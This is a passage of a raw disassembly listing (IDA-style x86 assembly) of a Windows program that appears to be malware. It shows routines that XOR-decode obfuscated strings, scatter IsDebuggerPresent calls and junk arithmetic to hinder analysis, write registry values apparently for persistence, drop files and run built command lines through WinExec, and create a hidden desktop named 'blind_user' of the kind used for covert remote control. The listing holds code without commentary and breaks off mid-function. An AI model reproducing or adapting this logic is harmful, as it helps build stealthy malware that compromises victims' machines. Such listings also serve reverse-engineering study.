		call	strcat	; strcat
		add	esp, 38h
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	0		; uCmdShow
		lea	eax, [ebp+FileName]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec
		call	GetCurrentProcessId	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BE7	proc near		; CODE XREF: sub_40AA24+35Fp

var_312		= word ptr -312h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
Format		= dword	ptr -2F4h
NumberOfBytesWritten= dword ptr	-2F0h
var_2E9		= dword	ptr -2E9h
var_2E5		= byte ptr -2E5h
var_2DF		= dword	ptr -2DFh
var_2DB		= byte ptr -2DBh
var_2D6		= word ptr -2D6h
var_2D4		= byte ptr -2D4h
ValueName	= byte ptr -2CDh
Dest		= byte ptr -269h
Data		= byte ptr -205h
SubKey		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		push	ebx
		push	esi
		push	edi
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	edi, [ebp+var_2D4]
		lea	esi, word_4421DE
		mov	ecx, 7
		rep movsb
		call	GetProcessHeap	; GetProcessHeap
		push	26h		; Size
		push	offset dword_44754C ; Src
		call	sub_40390E
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	[ebp+var_2F8], eax
		call	rand	; rand
		mov	[ebp+var_2FC], eax
		call	rand	; rand
		mov	[ebp+var_300], eax
		call	rand	; rand
		mov	[ebp+var_304], eax
		call	rand	; rand
		mov	[ebp+var_308], eax
		call	rand	; rand
		mov	[ebp+var_30C], eax
		call	rand	; rand
		mov	[ebp+var_310], eax
		call	rand	; rand
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_300]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2FC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F8]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+Format]
		push	edi		; Format
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetTickCount	; GetTickCount
		mov	ax, word_4421E5
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+ValueName]
		push	eax		; Dest
		call	sub_40399B
		add	esp, 34h
		call	GetLastError
		lea	edi, [ebp+var_2DB]
		lea	esi, byte_4421E7
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4421EC
		mov	[ebp+var_2DF], eax
		call	rand	; rand
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+SubKey], dl
		call	GetTickCount	; GetTickCount
		mov	[ebp+var_1], 1
		jmp	short loc_403DAD
; ---------------------------------------------------------------------------


loc_403D7D:				; CODE XREF: sub_403BE7+1CBj
		call	rand	; rand
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+SubKey], dl
		add	[ebp+var_1], 1


loc_403DAD:				; CODE XREF: sub_403BE7+194j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403D7D
		mov	ebx, 368Ch
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	[ebp+var_F9], 0
		call	rand	; rand
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403DF5
		call	GetTickCount	; GetTickCount
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_312], 25D6h
		inc	[ebp+var_312]
		mov	[ebp+var_FA], 32h


loc_403DF5:				; CODE XREF: sub_403BE7+1E9j
		push	9		; Size
		push	offset word_447542 ; Src
		call	sub_40390E
		lea	edi, [ebp+SubKey]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+Data]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	edi, [ebp+var_2E5]
		lea	esi, dword_4421F0
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+Data]
		push	eax
		call	sub_40341E
		mov	eax, dword_4421F6
		mov	[ebp+var_2E9], eax
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+Data]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	ebx, eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	[ebp+arg_0]	; Format
		mov	eax, offset Dest ; "abcdefghijklmno"
		push	eax		; Dest
		call	sprintf	; sprintf
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	1A01h		; nNumberOfBytesToWrite
		push	offset dword_43D19C ; lpBuffer
		push	ebx		; hFile
		call	WriteFile	; WriteFile
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		call	GetVersion	; GetVersion
		push	17h		; Size
		push	offset word_44752A ; Src
		call	sub_40390E
		lea	edi, [ebp+Dest]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+SubKey]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetLastError
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	offset WindowName ; lpValueName
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000000h	; hKey
		call	sub_403F47
		call	GetProcessHeap	; GetProcessHeap
		push	0Eh		; Size
		push	offset aNLF	; "±«¼¸½°·¾”¶½¼µ"
		call	sub_40390E
		mov	[ebp-314h], eax
		push	9		; Size
		push	offset aSiLnN	; "˜©¸«­´¼·­"
		call	sub_40390E
		push	eax		; lpData
		mov	edi, [ebp-314h]
		push	edi		; lpValueName
		lea	edi, [ebp+SubKey]
		push	edi		; lpSubKey
		push	80000000h	; hKey
		call	sub_403F47
		push	45h		; Size
		push	offset aKNoLEfLKNeoOke ; "ж¿­®¸«¼…”°º«¶ª¶¿­…ް·½¶®ª…𬫫¼·­¼«ª°"...
		call	sub_40390E
		lea	edi, [ebp+Dest]
		push	edi		; lpData
		lea	edi, [ebp+ValueName]
		push	edi		; lpValueName
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	sub_403F47
		add	esp, 80h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403BE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403F47(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData)

sub_403F47	proc near		; CODE XREF: sub_403BE7+2EFp
					; sub_403BE7+32Bp ...

var_11		= byte ptr -11h
cbData		= dword	ptr -10h
var_9		= byte ptr -9
phkResult	= dword	ptr -8
var_2		= word ptr -2
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	edi, [ebp+lpData]
		mov	[ebp+var_2], 482Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		inc	dword_43C230
		mov	[ebp+var_9], 0C8h
		add	[ebp+var_9], 59h
		and	[ebp+phkResult], 0
		lea	eax, [ebp+cbData]
		push	eax		; lpdwDisposition
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	[ebp+lpSubKey]	; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegCreateKeyExA	; RegCreateKeyExA
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_403FA2:				; CODE XREF: sub_403F47+60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403FA2
		mov	[ebp+cbData], eax
		push	[ebp+cbData]	; cbData
		push	edi		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	RegSetValueExA	; RegSetValueExA
		mov	[ebp+var_11], 0A1h
		add	[ebp+var_11], 0D6h
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey	; RegCloseKey
		call	GetTickCount	; GetTickCount
		pop	edi
		pop	esi
		leave
		retn
sub_403F47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403FD8(void *Src, size_t Size)

sub_403FD8	proc near		; CODE XREF: sub_40406B+DFp
					; sub_40406B+FFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_442204
		lea	eax, ds:411CA0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_404021
; ---------------------------------------------------------------------------


loc_404007:				; CODE XREF: sub_403FD8+4Bj
		mov	eax, dword_442204
		add	eax, edi
		lea	eax, ds:411CA0h[eax] ; DATA XREF: .text:0043F12Dw
					; .text:0043F147w ...
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl


loc_404020:				; DATA XREF: .text:0043F1FAo
					; .text:0043F210r
		inc	edi


loc_404021:				; CODE XREF: sub_403FD8+2Dj
		cmp	edi, esi
		jl	short loc_404007 ; DATA	XREF: .text:0043F20Ar
		mov	[ebp+var_8], 2C7h ; DATA XREF: .text:0043F204r


loc_40402C:				; DATA XREF: .text:loc_43F195r
					; .text:loc_43F1A5r ...
		mov	eax, dword_442204
		add	eax, esi
		mov	byte ptr dword_411CA0[eax], 0 ;	DATA XREF: .text:0043F0A3w
					; .text:0043F0BEr ...
		mov	edi, dword_442204 ; DATA XREF: .text:0043F0B8o
					; .text:0043F0C6o
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_442204, eax
		cmp	eax, 0DB8h
		jle	short loc_40405A
		and	dword_442204, 0


loc_40405A:				; CODE XREF: sub_403FD8+79j
		mov	[ebp+var_C], 2EEh
		lea	eax, dword_411CA0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_403FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40406B	proc near		; CODE XREF: sub_40AA24+3B9p

var_14B3	= byte ptr -14B3h
var_14AF	= byte ptr -14AFh
var_14AC	= dword	ptr -14ACh
NumberOfBytesWritten= dword ptr	-14A8h
var_14A4	= byte ptr -14A4h
var_149D	= byte ptr -149Dh
var_1496	= word ptr -1496h
FileName	= byte ptr -1494h
var_1395	= byte ptr -1395h
VersionInformation= _OSVERSIONINFOA ptr	-1394h
Filename	= byte ptr -1300h
Dest		= byte ptr -1201h
var_1102	= word ptr -1102h
var_1100	= word ptr -1100h
CmdLine		= byte ptr -10FEh
Buffer		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		mov	eax, 14B4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	ax, word_442208
		mov	[ebp+var_1496],	ax ; DATA XREF:	.text:0043F048w
		call	GetTickCount	; DATA XREF: .text:0043F04Dw
					; .text:0043F069w
		push	0FFh		; DATA XREF: .text:0043F5A8w
					; .text:0043F5AEr ...
					; nSize
		lea	eax, [ebp+Filename] ; DATA XREF: .text:00440391r
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		call	GetTickCount	; GetTickCount


loc_4040AA:				; DATA XREF: sub_43F624+Co
		mov	[ebp+VersionInformation.dwOSVersionInfoSize], 94h
		mov	[ebp+var_1100],	47E6h ;	DATA XREF: sub_43F624+1Co
		movzx	eax, [ebp+var_1100]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1100],	ax
		lea	eax, [ebp+VersionInformation]
		push	eax		; lpVersionInformation
		call	GetVersionExA	; GetVersionExA
		mov	[ebp+var_1102],	21A4h
		movzx	eax, [ebp+var_1102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1102],	ax
		lea	edi, [ebp+var_149D]
		lea	esi, word_44220A
		mov	ecx, 7
		rep movsb
		cmp	[ebp+VersionInformation.dwPlatformId], 2
		jnz	loc_4041A4
		call	GetVersion	; GetVersion
		push	0FFh		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		lea	edi, [ebp+var_14B3]
		lea	esi, byte_442211
		mov	ecx, 7
		rep movsb
		push	0Fh		; Size
		push	offset word_4474BA ; Src
		call	sub_403FD8
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	sprintf	; sprintf
		push	0Ah		; Size
		push	offset byte_4474AF ; Src
		call	sub_403FD8
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		push	8		; Size
		push	offset word_4474A6 ; Src
		call	sub_403FD8
		push	eax		; Source
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 38h
		jmp	loc_404233
; ---------------------------------------------------------------------------


loc_4041A4:				; CODE XREF: sub_40406B+A9j
		call	GetLastError
		push	0FFh		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	GetWindowsDirectoryA	; GetWindowsDirectoryA
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	0Fh		; Size
		push	offset word_447496 ; Src
		call	sub_403FD8
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetVersion	; GetVersion
		push	0Eh		; Size
		push	offset byte_447487 ; Src
		call	sub_403FD8
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	edi, [ebp+var_14AF]
		lea	esi, byte_442218
		mov	ecx, 3
		rep movsb
		push	0Ch		; Size
		push	offset word_44747A ; Src
		call	sub_403FD8
		push	eax		; Source
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 38h


loc_404233:				; CODE XREF: sub_40406B+134j
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		call	GetProcessHeap	; GetProcessHeap
		lea	edi, [ebp+var_14A4]
		lea	esi, byte_44221B
		mov	ecx, 7
		rep movsb
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+Dest]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	ebx, eax
		call	GetVersion	; GetVersion
		push	39h		; Size
		push	offset dword_447440 ; Src
		call	sub_403FD8
		lea	edi, [ebp+Dest]
		push	edi
		lea	edi, [ebp+Filename]
		push	edi
		lea	edi, [ebp+Filename]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+CmdLine]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 1Ch
		call	GetTickCount	; GetTickCount
		lea	ecx, [ebp+CmdLine]
		or	eax, 0FFFFFFFFh


loc_4042BB:				; CODE XREF: sub_40406B+255j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4042BB
		push	0		; lpOverlapped
		lea	esi, [ebp+NumberOfBytesWritten]
		push	esi		; lpNumberOfBytesWritten
		push	eax		; nNumberOfBytesToWrite
		lea	edi, [ebp+CmdLine]
		push	edi		; lpBuffer
		push	ebx		; hFile
		call	WriteFile	; WriteFile
		call	GetLastError
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		mov	eax, dword_442222
		mov	[ebp+var_14AC],	eax
		push	8		; Size
		push	offset aSS	; "¿éºµÙº¿é"
		call	sub_403FD8
		add	esp, 8
		lea	edi, [ebp+Dest]
		push	edi
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+CmdLine]


loc_404313:				; DATA XREF: sub_43F725+1E1o
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 10h
		push	0		; uCmdShow
		lea	eax, [ebp+CmdLine]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec
		mov	[ebp+var_1395],	69h
		add	[ebp+var_1395],	1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40406B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 200h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_442230
		lea	eax, ds:430C30h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 100h
		xor	edi, edi
		jmp	short loc_40438C
; ---------------------------------------------------------------------------


loc_404372:				; CODE XREF: .text:0040438Ej
		mov	eax, dword_442230
		add	eax, edi
		lea	eax, ds:430C30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_40438C:				; CODE XREF: .text:00404370j
		cmp	edi, esi
		jl	short loc_404372
		mov	eax, dword_442230
		add	eax, esi
		mov	byte ptr dword_430C30[eax], 0
		xor	edi, edi
		mov	edi, dword_442230
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_442230, eax
		cmp	eax, 0DCCh
		jle	short loc_4043C0
		and	dword_442230, 0


loc_4043C0:				; CODE XREF: .text:004043B7j
		lea	eax, dword_430C30[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043CA	proc near		; CODE XREF: sub_4061F7+22Cp
					; sub_408B4C+1ABp

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_7		= byte ptr -7
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, dword_442238
		mov	ecx, 3
		rep movsb
		cmp	hDesktop, 0
		jz	short loc_404422
		mov	[ebp+var_A], 4080h
		movzx	eax, [ebp+var_A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_A], ax
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	eax		; dwThreadId
		call	GetThreadDesktop	; GetThreadDesktop
		mov	[ebp+var_10], eax
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, hDesktop
		cmp	[ebp+var_10], eax
		jnz	short loc_404450
		xor	eax, eax
		inc	eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------


loc_404422:				; CODE XREF: sub_4043CA+20j
		push	0		; lpsa
		push	0C7h		; dwDesiredAccess
		push	0		; dwFlags
		push	0		; pDevmode
		push	0		; lpszDevice
		push	offset szDesktop ; "blind_user"
		call	CreateDesktopA	; CreateDesktopA
		mov	hDesktop, eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		cmp	hDesktop, 0
		jnz	short loc_404450
		xor	eax, eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------


loc_404450:				; CODE XREF: sub_4043CA+51j
					; sub_4043CA+80j
		push	hDesktop	; hDesktop
		call	SetThreadDesktop	; SetThreadDesktop
		mov	[ebp+var_4], eax
		mov	ebx, 5CBAh
		mov	ecx, ebx
		add	ecx, ebx
		mov	ebx, ecx


loc_404469:				; CODE XREF: sub_4043CA+56j
					; sub_4043CA+84j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4043CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_4061F7+2C6p
					; sub_408B4C+230p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 1763h
		add	edi, 25D9h
		mov	eax, [ebp+arg_0]
		lea	edx, szDesktop	; "blind_user"
		mov	[eax+8], edx
		call	GetProcessHeap	; GetProcessHeap
		pop	edi
		pop	ebp
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404491(void *Src, size_t Size)

sub_404491	proc near		; CODE XREF: sub_404529+64p
					; sub_404529+9Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_442244
		lea	eax, ds:4176F0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 5Dh
		xor	edi, edi
		jmp	short loc_4044D9
; ---------------------------------------------------------------------------


loc_4044BF:				; CODE XREF: sub_404491+4Aj
		mov	eax, dword_442244
		add	eax, edi
		lea	eax, ds:4176F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0B6h
		mov	[eax], dl
		inc	edi


loc_4044D9:				; CODE XREF: sub_404491+2Cj
		cmp	edi, esi
		jl	short loc_4044BF
		mov	eax, dword_442244
		add	eax, esi
		mov	byte ptr dword_4176F0[eax], 0
		xor	edi, edi
		mov	edi, dword_442244
		add	dword_442244, 2
		mov	eax, dword_442244
		add	eax, 5
		add	eax, esi
		mov	dword_442244, eax
		cmp	eax, 0DD3h
		jle	short loc_404518
		and	dword_442244, 0


loc_404518:				; CODE XREF: sub_404491+7Ej
		mov	[ebp+var_8], 165h
		lea	eax, dword_4176F0[edi]


loc_404525:				; DATA XREF: sub_43F725+A6o
		pop	edi
		pop	esi
		leave
		retn
sub_404491	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404529(char *Dest, char *Source)

sub_404529	proc near		; CODE XREF: sub_4054C8+702p
					; sub_4054C8+7C6p ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
Format		= dword	ptr -108h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
Dest		= dword	ptr  8
Source		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+Dest]
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 8
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	edi, [ebp+var_100]
		lea	esi, byte_442248
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404641
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_FF], 0
		call	GetLastError


loc_404586:				; DATA XREF: sub_43F725+476o
		push	3		; Size
		push	offset aSC	; "™œ–"
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_101], 0
		jmp	short loc_404605
; ---------------------------------------------------------------------------


loc_4045AA:				; CODE XREF: sub_404529+E4j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4045FE
		push	4		; Size
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+Format]
		push	edi		; Format


loc_4045EF:				; DATA XREF: sub_43F725+4B8o
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h


loc_4045FE:				; CODE XREF: sub_404529+91j
		add	[ebp+var_101], 1


loc_404605:				; CODE XREF: sub_404529+7Fj
		mov	al, [ebp+var_101]
		cmp	al, 0Ah
		jb	short loc_4045AA
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+var_FF]
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	3		; Size
		push	offset aCS	; "–œ™"
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 18h
		call	IsDebuggerPresent	; IsDebuggerPresent


loc_404641:				; CODE XREF: sub_404529+46j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404721
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	10h		; Size
		push	offset aCuUUClcuN ; "À×Ä–“Õ“Õ“Õ–‹–“Ã"
		call	sub_404491
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	[ebp+var_10C], eax
		call	rand	; rand
		mov	[ebp+var_110], eax
		call	rand	; rand
		mov	[ebp+var_114], eax
		call	rand	; rand
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_114]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_110]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_10C]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+Format]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_101], 80h
		add	[ebp+var_101], 1
		lea	eax, [ebp+var_FF]
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat


loc_40470D:				; DATA XREF: sub_43F725+600o
		add	esp, 28h
		lea	edi, [ebp+var_102]
		lea	esi, byte_442249
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_404721:				; CODE XREF: sub_404529+128j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_4047EE
		mov	[ebp+var_101], 6Ch
		movzx	eax, [ebp+var_101]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_101], al
		push	0Ah		; Size
		push	offset byte_447403 ; Src
		call	sub_404491
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	[ebp+var_10C], eax
		call	rand	; rand
		mov	[ebp+var_110], eax
		call	rand	; rand
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_110]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx


loc_40479E:				; DATA XREF: sub_43F725+502o
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_10C]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+Format]
		push	edi		; Format
		lea	edi, [ebp+var_FF]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_102], 0ABh
		sub	[ebp+var_102], 19h
		lea	eax, [ebp+var_FF]
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 24h
		call	IsDebuggerPresent	; IsDebuggerPresent


loc_4047EE:				; CODE XREF: sub_404529+208j
		call	rand	; rand
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404816
		push	2		; Size
		push	offset byte_447400 ; Src


loc_404807:				; DATA XREF: sub_43F725+52Do
		call	sub_404491
		push	eax		; Source
		push	ebx		; Dest
